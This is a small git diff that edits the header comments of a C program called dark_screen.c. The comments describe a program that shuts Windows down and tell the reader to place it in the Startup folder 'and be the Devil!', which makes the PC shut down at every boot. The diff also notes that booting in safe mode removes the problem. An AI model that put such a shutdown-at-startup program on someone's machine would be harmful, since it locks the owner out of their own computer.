diff --git a/dark_screen.c b/dark_screen.c
index 45a8081..ee7286d 100644
--- a/dark_screen.c
+++ b/dark_screen.c
@@ -1,5 +1,10 @@
 // Simply shuts the system down. 
-// Put it in the startup directory (%appdata%\Microsoft\Windows\Start Menu\Programs\Startup)
+// Put the compiled executable in the startup directory 
+// (%appdata%\Microsoft\Windows\Start Menu\Programs\Startup)
+// of WindowsOS. And be the Devil!
+// Caution: This will prevent you from turning the PC on. To
+// solve, you can turn on the PC in safe mode and remove the
+// executable from the startup directory.
 
 #include <stdlib.h>